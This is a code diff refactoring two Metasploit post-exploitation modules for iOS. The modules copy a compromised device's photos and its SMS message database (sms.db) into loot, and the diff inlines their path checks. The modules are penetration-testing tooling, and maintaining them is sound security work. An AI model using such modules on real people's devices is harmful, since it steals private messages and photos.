diff --git a/modules/post/apple_ios/gather/ios_image_gather.rb b/modules/post/apple_ios/gather/ios_image_gather.rb index 34d1dee295..7d2b79abeb 100644 --- a/modules/post/apple_ios/gather/ios_image_gather.rb +++ b/modules/post/apple_ios/gather/ios_image_gather.rb @@ -21,10 +21,6 @@ class MetasploitModule < Msf::Post )) end - def check_for_img_path(f_path) - directory?(f_path) - end - def enum_img(f_path) path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6)) local_path = File.expand_path(path) @@ -45,7 +41,7 @@ class MetasploitModule < Msf::Post def run img_path = '/private/var/mobile/Media/DCIM/100APPLE' - unless check_for_img_path(img_path) + unless directory?(img_path) fail_with(Failure::NotFound, "Could not find the default image file path") end print_good('Image path found. Will begin searching for images...') diff --git a/modules/post/apple_ios/gather/ios_text_gather.rb b/modules/post/apple_ios/gather/ios_text_gather.rb index f27de21ce4..b7b83d22b1 100644 --- a/modules/post/apple_ios/gather/ios_text_gather.rb +++ b/modules/post/apple_ios/gather/ios_text_gather.rb @@ -21,21 +21,17 @@ class MetasploitModule < Msf::Post )) end - def check_for_sms_file(file_path) - file?(file_path) - end - def download_text_db(file_path) db_file_data = read_file(file_path) loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db') print_good("sms.db stored at #{loc}") - rescue - fail_with(Failure::NoAccess, "Failed to read sms.db file") + rescue + fail_with(Failure::NoAccess, "Failed to read sms.db file") end def run sms_path = '/private/var/mobile/Library/SMS/sms.db' - unless check_for_sms_file(sms_path) + unless file?(sms_path) fail_with(Failure::NotFound, "Couldn't locate sms.db file") end